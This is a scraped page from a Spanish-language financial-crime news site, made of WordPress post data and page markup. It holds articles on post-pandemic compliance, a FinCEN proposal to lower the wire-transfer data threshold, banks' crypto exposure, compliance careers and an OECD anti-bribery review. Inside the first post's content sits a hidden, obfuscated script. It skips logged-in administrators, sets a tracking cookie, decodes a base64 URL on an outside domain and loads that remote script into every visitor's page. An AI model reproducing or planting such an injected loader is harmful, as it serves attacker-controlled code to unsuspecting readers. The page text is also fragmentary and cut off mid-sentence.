pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. UU. y que los valores promedio y medios en d\u00f3lares de los fondos mencionados en los ROS eran de aproximadamente US$ 509 y US$ 255, respectivamente,\u00a0<a href=\"https:\/\/www.federalregister.gov\/documents\/2020\/10\/27\/2020-23756\/threshold-for-the-requirement-to-collect-retain-and-transmit-information-on-funds-transfers-and\" target=\"_blank\" rel=\"noopener noreferrer\">seg\u00fan la propuesta<\/a>.\u00a0<\/p><p>\u201cEs posible que algunas instituciones financieras no reconozcan o retengan registros de todas las actividades sospechosas por debajo del umbral de US$ 3.000 o el patr\u00f3n sospechoso no se hace visible hasta que se agreguen los registros\u201d, dijeron las agencias en la propuesta. \"Esto podr\u00eda impedir que las autoridades investiguen y mapeen las redes il\u00edcitas\".<\/p><p>El cambio de regla propuesto, para el cual las agencias piden al p\u00fablico que presente comentarios hasta el 27 de noviembre, aumentar\u00eda la carga de cumplimiento para los bancos y podr\u00eda encontrar resistencia de la industria, dijeron los observadores.<\/p><p>Esta nueva iniciativa podr\u00eda significar una carga importante para los bancos que terminar\u00eda encareciendo las transferencias internacionales de menor valor debido a que har\u00eda m\u00e1s caro la supervisi\u00f3n e incrementar\u00eda los costos de cumplimiento.<\/p><p>Sin embargo, las agencias de EE.UU. se\u00f1alaron que el cambio propuesto no deber\u00eda tener un gran impacto en el costo y la eficiencia del sistema de pago. Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p><strong>Acertijos convergentes<\/strong><\/p>\n\n\n\n<p>Si bien algunos bancos se preocupan por luchar contra el fraude , el primer error es no ver el fraude y las estructuras ALD\/CFTcomo hilos entrelazados de la misma tela criminal.<\/p>\n\n\n\n<p>Los equipos de cumplimiento deben saber comunicarse, coordinar y ser un verdadero aliado de las agencias de aplicaci\u00f3n de ley. Los bancos est\u00e1n rompiendo los silos entre los departamentos de delitos financieros, por lo que un conjunto diverso y variado de habilidades no es solo una ventaja, sino que podr\u00eda ayudar a preparar su carrera para el futuro.<\/p>\n\n\n\n<p><strong>Para mayor seguridad laboral, pruebe con la ciberseguridad<\/strong><\/p>\n\n\n\n<p>Acabamos de mencionar que los silos se est\u00e1n derrumbando y que ALD\/CFT y el fraude deben verse como hilos entrelazados de la misma tela criminal, ahora usted indefectiblemente debe prepararse para para fortalecer su conocimiento y pericia en  ciberseguridad.<\/p>\n\n\n\n<p>Si tiene experiencia cibern\u00e9tica, los oradores se\u00f1alaron que debe comenzar a  aprender m\u00e1s sobre el fraude y ALD\/CFT, ya que informaci\u00f3n tal como la ubicaci\u00f3n geogr\u00e1fica y la direcci\u00f3n IP de los atacantes virtuales son puntos cr\u00edticos para enriquecer los reportes de operaci\u00f3n sospechosa (ROS) para los investigadores, dentro y fuera del banco. Si usted es un fan\u00e1tico de la lucha contra el lavado de dineros o del fraude, descubra por qu\u00e9 la tecnolog\u00eda es un tema tan importante.<\/p>\n\n\n\n<p><strong>No le tema a la tecnolog\u00eda, m\u00e1s bien abr\u00e1cela<\/strong><\/p>\n\n\n\n<p>Para responder a los delincuentes expertos en tecnolog\u00eda, los bancos est\u00e1n comenzando a experimentar con elementos como inteligencia artificial, aprendizaje autom\u00e1tico y automatizaci\u00f3n con la intenci\u00f3n de analizar datos como nunca antes lo han hecho. \u00bfQu\u00e9 significa eso para usted como solicitante de empleo o incluso para alguien que quiere seguir trabajando?<\/p>\n\n\n\n<p>No deje toda la ingenier\u00eda de sistemas, el an\u00e1lisis de datos, el ajuste del monitoreo de transacciones o la investigaci\u00f3n cibern\u00e9tica en manos de proveedores externos o expertos internos. Descubra c\u00f3mo la tecnolog\u00eda puede potenciar su programa para poder responder con precisi\u00f3n y celeridad cuando los reguladores reanuden su rigorosa labor en un mundo postpandemia.<\/p>\n\n\n\n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones 